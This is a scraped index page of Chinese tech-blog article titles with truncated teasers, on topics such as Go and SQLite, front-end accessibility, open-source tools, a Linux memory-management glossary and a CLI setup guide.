如何实现跨平台网盘直链下载的技术方案 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 ，支持 百度网盘 / 阿里云盘 / 中国移动云盘 / 天翼云盘 / 迅雷云盘 / 夸克网盘…
Go语言SQLite轻量级数据库应用
Go语言SQLite轻量级数据库应用 引言 SQLite是一款轻量级的嵌入式数据库，无需独立服务进程，非常适合单机应用、移动端应用和开发测试环境。Go语言通过database/sql包配合go-sqlite3驱动可以方便地操作SQLite数据库。本文将深入探讨Go语言中SQLite的使用技…
【前端无障碍】屏幕阅读器兼容性：确保视障用户的良好体验
【前端无障碍】屏幕阅读器兼容性：确保视障用户的良好体验 前言 大家好，我是cannonmonster01！今天咱们来聊聊屏幕阅读器兼容性这个话题。想象一下，一个视障用户打开你的网站，通过屏幕阅读器来浏览内容。如果你的网站没有…
2026年横评10款降AI率软件:只选真正管用的那一款！
随着AI写作工具的广泛应用，论文写作和内容创作效率得到了显著提升，许多学生和职场人士都开始依赖这些工具来完成繁重的文字任务。然而，随着各大高校、期刊平台对AIGC内容检测技术的不断升级，AI生成内容的痕迹越来越容易被识别。不…
施工现场安全事故预警准确率达94.6%？——解密某央企AI Agent边缘计算部署架构与3个月落地实录
更多请点击： https://codechina.net 第一章：施工现场安全事故预警准确率达94.6%？——解密某央企AI Agent边缘计算部署架构与3个月落地实录 在华北某大型地铁盾构施工现场，一套轻量化AI Agent系统于2024年Q2完成全栈部署ÿ…
附录 B：术语表
本术语表面向“从 MM 到 HMM”专栏阅读过程中的快速查阅。它不是内核 API 手册，而是把文章中反复出现的概念放到同一张地图上：先给出直观含义，再说明它在 Linux MM/HMM 语境里的作用。建议阅读方式： 初读专栏时，把它当…
Midjourney渐变美学的神经渲染原理（附RGB-HSV-LCH三空间渐变映射对照表·行业首曝）
更多请点击： https://kaifayun.com 第一章：Midjourney渐变美学的神经渲染原理（附RGB-HSV-LCH三空间渐变映射对照表行业首曝） Midjourney 的渐变美学并非传统插值实现，而是由其隐式神经渲染器（Implicit Neu…
MPC-BE：基于DirectShow架构的专业级开源媒体播放解决方案
MPC-BE：基于DirectShow架构的专业级开源媒体播放解决方案 【免费下载链接】MPC-BE MPC-BE – универсальный проигрыватель аудио и видеофайлов для операционной системы Windows. 项目地址:…
如何快速计算3D模型体积和重量：STL-Volume-Model-Calculator终极指南
如何快速计算3D模型体积和重量：STL-Volume-Model-Calculator终极指南 【免费下载链接】STL-Volume-Model-Calculator STL Volume Model Calculator Python 项目地址: https://gitcode.com/gh_mirrors/st/STL-Volume-Model-Calculator 你是否曾经为3D打印项目…
通过Taotoken CLI工具一键配置团队开发环境与模型密钥
通过Taotoken CLI工具一键配置团队开发环境与模型密钥 1. CLI工具安装与基本使用 Taotoken提供的CLI工具可通过npm全局安装或直接使用npx运行。对于需要频繁使用CLI的团队，推荐全局安装： npm install -g taotoken/taotoken对于临时使用或项目级配置&a…